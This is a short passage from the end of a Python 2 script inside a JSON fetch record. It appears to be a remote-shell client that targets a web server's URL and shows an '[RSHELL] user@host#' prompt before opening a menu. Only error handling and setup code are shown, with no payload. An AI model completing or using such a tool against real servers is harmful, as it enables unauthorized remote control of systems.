usage+\"\\n\"\n\t\tprint \"[-] Missing HTTP/HTTPS\\n\"\n\t\tsys.exit(1)\n\tcommandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)\n\tif not options.file:\n\t\tprint \"[+] Target: \"+url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path\n\tfirstMenu()","sha256":"8459a8c1fa72b00c3942d60caa3a963c7dfc9b50a900ba44425b5abcd8e21481","bytes":25872,"fetchedAt":"2026-11-27T06:06:28.264Z","encoding":"utf-8 (display only; download retains original bytes)"}